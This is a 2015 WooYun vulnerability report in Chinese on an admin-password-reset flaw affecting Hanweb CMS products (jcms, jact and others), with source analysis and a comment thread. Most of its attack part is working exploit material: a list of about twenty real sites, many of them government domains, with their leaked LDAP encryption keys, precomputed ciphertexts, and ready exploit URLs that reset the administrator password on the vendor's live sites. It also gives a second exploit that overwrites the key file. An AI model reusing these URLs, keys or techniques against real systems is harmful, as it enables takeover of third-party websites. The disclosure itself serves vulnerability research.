当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143528

漏洞标题:大汉网络0day通杀重置管理员密码(双官网测试)

相关厂商:南京大汉网络有限公司

漏洞作者: 矿主

提交时间:2015-09-26 19:15

修复时间:2015-12-27 11:06

公开时间:2015-12-27 11:06

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-26: 细节已通知厂商并且等待厂商处理中
2015-09-28: 厂商已经确认,细节仅向厂商公开
2015-10-01: 细节向第三方安全合作伙伴开放
2015-11-22: 细节向核心白帽子及相关领域专家公开
2015-12-02: 细节向普通白帽子公开
2015-12-12: 细节向实习白帽子公开
2015-12-27: 细节向公众公开

简要描述:

大汉网络0day通杀,重置管理员密码(官网测试)
全系统全版本通杀,包括:jcms,jact,jsearch,vipchat,vc,xxgk等等。

详细说明:

第一步,大汉网络加解密说明
LDAP密钥配置文件,/interface/ldap/ldapconf.xml
获取密钥:<enckey>o3h2iB8ggnp2</enckey>

clipboard.png


我们可以使用大汉的加解密库进行任意加解密,只要知道服务端的密钥,就可以和服务器进行通讯:

clipboard.png


第二步,保存密钥的ldapconf.xml文件,放在了网站目录,直接可以访问:

(很简单就找到了很多密钥)
http://122.224.183.4:80/jcms/interface/ldap/ldapconf.xml [123123]
http://221.231.137.195/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx]
http://202.108.199.114:80/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx]
http://202.108.199.114/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx]
http://6bur.cscec.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2]
http://cengangpcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://219.146.58.42/jcms/interface/ldap/ldapconf.xml [123123]
http://cq.ea-spring.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2]
http://caiyuan.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://bingmei.sdcdc.cn/jcms/interface/ldap/ldapconf.xml [uhfuXyOav5pK8hil]
http://3bur.cscec.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2]
http://csbj.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://changspcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://blbj.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://cz.anxiang.gov.cn/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2]
http://chart.sinotrans-csc.com/jcms/interface/ldap/ldapconf.xml [t0NN3oslN3OW]
http://chengdpcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://bj.clubchinachic.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2]
http://dandong.xiangshan.gov.cn/jcms/interface/ldap/ldapconf.xml [123123]
http://dayupcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://chdj.sinotrans-csc.com/jcms/interface/ldap/ldapconf.xml [t0NN3oslN3OW]


我们拿官网,进行一下测试:

clipboard.png


访问:http://app.hanweb.com.cn/jcms/interface/ldap/ldapconf.xml
拿到了密钥:<enckey>OJ9Un5JmpTfN0gJx</enckey>
第三步,通过密钥: OJ9Un5JmpTfN0gJx,我们构造如下几个密文:

encrypt : e2V1Z3UdA2sNaw==
decrypt : admin
encrypt : DEIBRXBGcUQOM3g0
decrypt : 123456


第四步,覆盖管理员密码为:admin - 123456
漏洞EXP:
http://app.hanweb.com.cn/jcms/interface/ldap/receive.jsp?state=C&result=T&loginuser=e2V1Z3UdA2sNaw==&loginpass=DEIBRXBGcUQOM3g0
直接登录,自动跳转到登录后台,进入后台Getshell的文章很多啦:

clipboard.png


漏洞分析:

组件功能:
/interface/ldap/receive.jsp这个组件,是一个不同大汉系统间,同步用户的通用组件。
例如:jact系统,需要把jcms用户同步到自己的系统中。
这个组件本来就是,用于创建用户的,如果被创建的用户存在的话,就会进行更新操作,
在这里直接我管理员的密码,进行了重置。
分析一下参数:
loginuser=e2V1Z3UdA2sNaw==
loginpass=DEIBRXBGcUQOM3g0
就是加密后的 admin - 123456,将管理员的密码覆盖了。


源码分析:

# \interface\ldap\receive.jsp
// 获取参数
String loginuser = Convert.getParameter(request,"loginuser", "", true, true); //用户名
String loginpass = Convert.getParameter(request,"loginpass", "", true, true); //密码
// 创建用户对象
Merp_Pub_UserEntity entity = new Merp_Pub_UserEntity();
entity.setVc_loginid(loginuser);
entity.setVc_password(loginpass);
// 验证用户是否合法
ldapBlf.checkValidate(entity);
# 反编译 jcms.blf.user.LdapBLF.java
// 对于传递进来的参数,进行了解密
vc_loginid = decrypt(vc_loginid, this.encrypttype);
vc_pwd = decrypt(vc_pwd, this.encrypttype);
// 对解密后的用户信息,插入或更新数据库信息
insertOrUpdateUser(ldapEn, groupid, 0);

漏洞证明:

新的姿势:
上面提交的重置管理员密码漏洞,是因为ldap密钥泄漏。
/interface/ldap/ldapconf.xml,直接放到了网站目录中,可以直接访问。
我在对官方demo最新版本的测试中,/interface/ldap/ldapconf.xml是无法访问的。
这样就看不到明文的密钥了,所以无法重置管理员密码了。
官方demo:http://demo.hanweb.com/jcms/

clipboard.png


于是我又深入分析了一下,/interface/ldap/receive.jsp这个组件,发现一个惊喜。

if (state.equals("S")) {
//注册应用
boolean b = ldapBlf.writeXML(appname,enckey,ldapurl,webtype,ssourl,encrypttype);
}


原来这个xml的配置文件,是可以覆盖的,所以构造EXP:
http://demo.hanweb.com/jcms/interface/ldap/receive.jsp?state=S&enckey=key888

clipboard.png


构造加解密字符串:
enckey : key888
encrypt : BWcCb3FrBBh8bQ==
decrypt : admin
覆盖管理员密码为:admin - admin


漏洞EXP:
http://demo.hanweb.com/jcms/interface/ldap/receive.jsp?state=C&result=T&loginuser=BWcCb3FrBBh8bQ==&loginpass=BWcCb3FrBBh8bQ==
再一次,成功登陆:

clipboard.png


影响范围:
通过上面两种姿势,新旧版本全系统全版本保证通杀,包括:jcms,jact,jsearch,vipchat,vc,xxgk等等。
轻轻松松几千个站点,上面已经列了一些,不够的话我补充。
!申请加精!
密钥、LDAP、加密解密、编程、案例、通杀、两种姿势、两个官网验证、源码分析,漏洞分析!
!申请加精!

修复方案:

修复设计逻辑漏洞。

版权声明:转载请注明来源 矿主@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-09-28 11:04

厂商回复:

感谢提交

最新状态:

暂无


漏洞评价:

评论

  1. 2015-09-26 19:21 | 乐乐、 ( 普通白帽子 | Rank:868 漏洞数:189 )

    卧槽 卧槽 卧槽

  2. 2015-09-26 20:16 | 陆由乙 ( 普通白帽子 | Rank:207 漏洞数:62 | 呵呵!)

    前排

  3. 2015-09-26 20:31 | Yang ( 普通白帽子 | Rank:325 漏洞数:105 | 作为菜鸟,大米手机摔破了怎么办?)

    这个给力、。卧槽卧槽卧槽

  4. 2015-09-27 10:50 | 纯情 ( 路人 | Rank:17 漏洞数:2 | 站在人生的顶端,俯视生命的千姿百态。)

    各位大牛那位收徒。我有55块钱哦

  5. 2015-10-01 16:54 | 邪少 ( 实习白帽子 | Rank:71 漏洞数:9 | 百里长苏)

    @纯情 你个垃圾 我有66快

  6. 2015-10-02 09:26 | Mazing ( 路人 | Rank:5 漏洞数:1 | 我的世界)

    我赵日天不服!

  7. 2015-10-02 16:09 | 赈早见琥珀主 ( 实习白帽子 | Rank:37 漏洞数:5 )

    乌云最神奇的路人甲

  8. 2015-10-12 16:43 | 南京大汉网络有限公司(乌云厂商)

    感谢这位路人甲的问题反馈,我们将发送礼物以示感谢并希望对细节做较为深入的交流。

  9. 2015-12-02 11:40 | 乐乐、 ( 普通白帽子 | Rank:868 漏洞数:189 )

    洞主心好细啊 一看就是仔细研究过大汉这套系统 值得我们学习啊

  10. 2015-12-27 11:28 | Elliott ( 实习白帽子 | Rank:44 漏洞数:10 | 绝逼不当程序员)

    牛逼